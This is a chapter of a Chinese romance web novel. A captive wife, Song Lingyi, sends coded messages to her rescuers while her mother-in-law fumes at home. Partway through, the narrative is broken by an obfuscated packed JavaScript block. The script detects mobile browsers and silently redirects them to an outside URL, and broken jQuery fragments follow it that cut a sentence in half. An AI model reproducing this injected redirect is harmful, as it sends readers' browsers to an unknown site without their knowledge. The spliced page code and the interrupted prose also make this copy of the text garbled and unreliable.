8. 第 8 章

作品:《曼娘

    最近太累,连坐在马车里都能睡着过去的秦殊摁了摁眉心,不知道自己为何会做起那么久远的梦。


    年少时做的承诺再美,都抵不过世事无常,人心易变。


    秦殊的马车刚停在府邸大门口,在外焦灼等候许久的管事马上迎了过来,“将军,那位祁夫人好像是因为白日里受到惊吓,夜里突然发起了高热。”


    许素霓挤眉弄眼,“你看,我就说我猜对了吧。说不定准备借用今天的事,对你用一波苦肉计。”


    “你倒是了解。”低沉的声线于深夜中如寒风骤起,冷冽得不见一丝温度。


    “当然是因为我也是女人,同为女人我自然清楚这些小手段。”被冷风一吹,冷得直打哆嗦的许素霓见他根木头杵着不动,伸手推他往里走。


    “快进去了,没见我都快要冻死了吗。”


    下午出了太阳,今天夜里罕见的露出了几颗星子。


    守在床边的喜商在她高烧终于退了,难免松了一口气,就怕任由她继续烧下去,把她给烧成了个傻子。


    “我先下去休息了,今晚上麻烦你们守夜了。”


    “喜商姑姑你放心好了,我们会照顾好她的。”


    说是会照顾好的两个丫鬟没一会儿,就眼皮上下打架,紧接着脑袋一歪,人就睡了过去。


    烧得迷迷糊糊中的宋令仪恍惚间,好像看见床边站着一个人。


    说是人,更像是一具高大的山压迫得她要产生要逃离的恐惧。


    她以为是祁长晏来了,嘴里无意识呢喃着“夫君”二字,也令站在床边的人身体一僵。


    “水。”


    躺在床上的宋令仪等了许久,都没有等来水,人在口渴的折磨中正要起身去喝水。


    就先被人扶起来,头枕在对方健硕的胸口,捏着下巴被迫抬起头,被人小口小口地往里喂着水。


    等喝完满满一杯水后,对方还用拇指拭去她唇边沾上的水渍。


    喝完水后,解了渴意的宋令仪已是困意袭来的沉沉睡去。


    这一次,在没有了所谓的扰人烦恼的梦,有的只是一夜无梦到天明。


    宋令仪在发了一身汗醒来后,当混沌的思绪逐渐变得清明后,下意识问,“昨晚上是不是有人来过房间?”


    喜商摇头。


    难道昨晚上真是她做梦,梦到了有人给她喂水?


    宋令仪这一病,缠缠绵绵得快要到年前才转好。


    因为身体不宜见风,她连想出去散步都不行,只能让喜善拿来针线布料,试着为他缝制一件新衣。


    她被困在这里太久了,也不知道夫君是否留下人手来找她。


    最重要的是,要怎么出去,又如何联系上寻找自己的人。


    “夫人,你前面不是说人家掌柜送来的料子不合你心意吗,吴掌柜就特意派人从健康快马加鞭的送来了几匹时行料子。”走进来的喜善身后跟着两个人,圆胖脸的是城内绣春坊的老板娘,高个的男人是抱着布条的小厮。


    “吴掌柜应该知道我的眼光向来挑剔才对。”宋令仪上次说要时兴料子,并不是真要做衣服,而是为了传递消息。


    祁家名下有一间铺子名叫霓裳阁,里面卖的都是当下流行的时兴花纹和料子,还有一些别家没有的丝线布料。


    她上次对吴掌柜说,要是有螺青色丝线就好了,正好能绣暗面芍药。只螺青色丝线很少会有人购买,霓裳阁里面有卖是因为她喜欢用它做衣服。


    除了螺青色丝线以外,她又要了红色布料,红色代表着鲜血,说明她正处于危险中,虞城,虞同芋同音,为紫。


    虞城前城主姓罗,罗为青,又为白。


    就是不知道霓裳阁的掌柜有没有听懂她传递的消息。


    “夫人您瞧瞧,这次有没有您喜欢的料子。”吴掌柜说着,还献宝的拿出一个小盒子,“这是夫人要的螺青色丝线,老身可是托人跑了好久才买到的。”


    “辛苦吴掌柜了。”宋令仪正要伸手接过盒子,同吴掌柜一起来的小厮突然笨手笨脚的撞了上来,不偏不倚地撞倒了盒子。


    “对不起对不起,小的不是故意的。”小厮当即蹲下身,手忙脚乱的捡起洒落在地的丝线。


    宋令仪跟着蹲下来,“不关你的事,是我自己没拿稳。”


    丝线全收好后,宋令仪又看了吴掌柜带来的料子,让她全留下,喜得吴掌柜嘴里的好话不要钱一样往外冒。


    喜商见她一口气买了那么多昂贵的布料,有心想说些什么,话到嘴边又咽了回去。


    真不明白,她怎么能心安理得的花别人的钱,还没有一点愧疚。


    “我有些累了,我先小憩片刻,要是夫君来了,你在叫醒我。”说要睡下的宋令仪放下帘子后,立刻取出小厮趁乱递给她的纸条。


    纸条上的字写得很小,在光线昏暗的地方根本看不清。


    确定室内伺候的人都出去后,宋令仪先探出头,才敢掀开帷幕一角,接着落进来的光亮。


    一字一个的看清上面都写了什么。


    【夫人稍安,我们已经安排人手来接夫人。】


    纸条上所言,算得上是连日来唯一的一个好消息了。


    只是………


    将纸团撕成碎屑扔进炭盘里的宋令仪倏而想到,他们就算派人来接她,也不可能直接进府上神不知鬼不觉的带走她。


    他们进城也容易引起怀疑,倒不如她出城,让他们在外面接应。


    那么她想要出去,首要做的是和他关系破冰,让她失忆的人设逐渐立体。


    宋令仪的目光不经意间落在她昨日就做好的衣服上,还不急着送,时间不对,只怕会换不来她想要的东西。


    何况她不久前才险些被他掐死,要是在贸然凑上去,任谁都能猜出她是有所图。


    那日被家主留在虞城,寻找夫人下落的沈确联系上夫人后,终是松了一口气。


    现在要做的,就是尽早平安带夫人回来。


    夫人要是再不回去,只怕老夫人又要以此借题发挥。


    居于皇城边,朱雀街


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315258|182962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的祁府内正因家主和其夫人都不在府上而气急,特别是离过年还没几天了,届时往来宴客送礼都要忙得不可开交。


    往常这些事都是交给大儿媳一手操办,现如今大儿媳不在,如何不忙得其她人急上火。


    居坐高位的祁夫人手捻十八子碧玺佛珠,包养得当的脸端得慈悲善目,只是半掀的眼皮全是冷然的怒火,“派人去告诉老大媳妇,要是她明日再不从山上回来,老身就亲自去请她。”


    “谁家儿媳过年还留在寺庙里不回来,难不成她以为自己剃度出家了不成。”祁夫人一向看不起老大选的媳妇,在他心中老大是连公主下嫁都能挑三拣四的俊才,而不是娶了个声名狼藉的奸臣之女。


    最不能容忍的娶了那女人三年都仍无所出,连她安排的通房也一个不收。祁夫人不会对自己的儿子生气,自是将所有怒火都冲向宋令仪。认为定是她在儿子耳边吹的枕边风。


    老二媳妇拾帕掩唇,“大嫂没有回来,说不定是在寺庙里为大伯祈福,好盼大伯能早些回来。至于府上的人情往来,又不是离了大嫂就转不开。”


    一向在家里存在感极低,又老实巴交的老二附和道:“大哥不在家,大嫂素日里和我们又处不来,还不如让她在山上为大哥祈福算了。”


    “家里头又不是没有佛堂,只要心诚又惧在哪里侍奉佛祖。”祁夫人拍桌定板,“明日,必须让老大媳妇回来。”


    明日,正是年三十,阖家欢庆的日子。


    因叛军进城并没有伤害百姓,反倒是大力修路帮忙缝补房屋,还开了粮仓熬粥接济穷苦庶民。


    渐渐的,原先携妻带子离开的庶民富商们相继回归,又因明日就是年三十,整个虞城处处张灯挂彩,热闹至极。


    宋令仪用剪子剪掉多出的线头,伸手细细抚摸着做好的衣服。


    就是不知道他穿上后是否会合身。


    要是今年不被困在这里,她现在在做什么,肯定在为祁家往来宴客送礼忙得焦头烂额。二弟妹弟妹三弟妹不说能搭把手,没往里面当根搅屎棍就谢天谢地。


    要知道她的两个妯娌看着温柔好说话,实际上佛口蛇心,但凡府上有点好东西都想往自个娘家扒拉,生怕少了娘家一块肉吃。


    从她踏出落霞院后,就有人第一时间把消息传到了秦殊耳边。


    “她倒是舍得出门了,派人继续盯着她。”秦殊以为,从那天过后,她会害怕见到自己,未曾想她会主动来找自己。


    难道她就如此笃定,自己不会伤害她,还是真的不敢杀她?


    “你怎么来了。”即便明日就是年三十,秦殊依旧埋首在一堆公务里,在她推门进来后,仅是抬头看了一眼就收回目光。


    从喜商手中接过托盘的宋令仪走到案几旁,放下托盘,取下托盘上的衣服顺直展开。


    “我给你做了件新衣服,你快试下合不合身,要是有哪里不合身的,我正好拿去改了,你明日起来时正好能穿上。”语气自然得,好似并没有将那日险些被她掐死一事放在心上。